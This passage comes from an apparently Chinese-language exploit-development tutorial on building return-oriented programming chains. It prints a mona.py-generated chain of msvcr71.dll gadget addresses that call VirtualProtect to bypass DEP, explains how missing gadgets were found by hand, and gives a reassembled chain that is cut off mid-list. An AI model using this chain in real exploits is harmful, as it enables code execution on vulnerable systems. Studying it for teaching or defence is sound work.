0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to 'push esp # ret ' (from msvcr71.dll)
0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
0xfffffdff, # value to negate, target value : 0x00000201, target: ebx
0x7c351e05, # NEG EAX # RETN (msvcr71.dll)
0x7c354901, # POP EBX # RETN (msvcr71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (msvcr71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)
0x7c34d201, # POP ECX # RETN (msvcr71.dll)
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI # RETN (msvcr71.dll)
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX # RETN (msvcr71.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX # RETN (msvcr71.dll)
0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)
# rop chain generated by mona.py
# note : this chain may not work out of the box
# you may have to change order or fix some gadgets,
# but it should give you a head start
].pack("V*")
很有趣, mona.py脚本利用msvce71.dll中的gadgets和指针生成了一个几乎完整的ROP
chain。
虽然看上去比 Immunity 写的稍微大了点,但是仅仅是想尝试下是否还有另一种可利用
方式。
mona脚本生成的里面唯一缺少的就是一行将VirtualProtext ()函数指针(在EAX 中)
放入 ESI 的指令。
mona.py 脚本没有发现明显的 gadgets能够实现”mov esi, eax”,因此我们不得不手
动来查找一个。
但是正如 mona.py 提示的,只需要寻找一个gadget 能够将值写入eax 放到栈上,因为
之后可以从ESI中获得它。
为了做到这一点,我们还需要2到 3条gadgets:一个是获得栈指针,第二个将值写入
栈,第三个则是取出其值(pop esi)。
在仔细寻找了生成的rop.txt文件后,成功的找到了下面2个 gadget能实现这一点:
0x7c37591f : # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR
AL,59 # POP ECX # POP EBP # RETN
0x7c376069 : # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI
# POP EBX # RETN
应该可以实现。
使用这个两个 gadgets,我们只需要将指向 VirtualProtext()函数的指针写到栈上,
并最终存储到ESI 中。事实上,第二个 gadget将会在同一gadget中完成写入和读取。我们
只需要保证ECX指向正确的栈上的位置,并能保证pop esi指令能够在那个位置获取取值。
注意的是,第一个 gadget 需要 EAX 包含一个合法的指向可读区域的指针,因此我们要
使他可读的办法是从msvcr71.dll中弹出一个可读的地址放到EAX中。
整合之后,chain如下:
rop_gadgets =
[
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
0x41414141, # EBP (filler)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # <- *&VirtualProtect()
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
0x41414141, # EDI (filler)
0x41414141, # will be patched at runtime (VP), then picked up into ESI
0x41414141, # EBX (filler)
0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0xfffffdff, # size 0x00000201 -> ebx, modify if needed
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) |